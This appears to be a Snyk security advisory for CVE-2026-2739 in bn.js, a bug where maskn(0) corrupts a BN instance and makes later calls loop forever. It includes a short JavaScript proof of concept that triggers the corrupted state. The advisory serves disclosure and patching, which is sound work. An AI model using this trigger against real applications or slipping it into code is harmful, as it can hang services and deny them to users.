Infinite loop Affecting org.webjars.npm:bn.js package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Test your applications- Snyk IDSNYK-JAVA-ORGWEBJARSNPM-15325720
- published23 Feb 2026
- disclosed8 Feb 2026
- creditKr0emer
Introduced: 8 Feb 2026
CVE-2026-2739 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Infinite loop. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.
PoC
const BN = require('bn.js'); // any version up to 5.2.2
const x = new BN('1', 10).maskn(0);
// Internal state is now corrupted:
console.log('x.words.length =', x.words.length); // 1
console.log('x.length =', x.length); // 0 (INVALID - should be >= 1)
console.log('x.isZero() =', x.isZero()); // false (WRONG - should be true)
// This will hang forever:
// console.log(x.toString());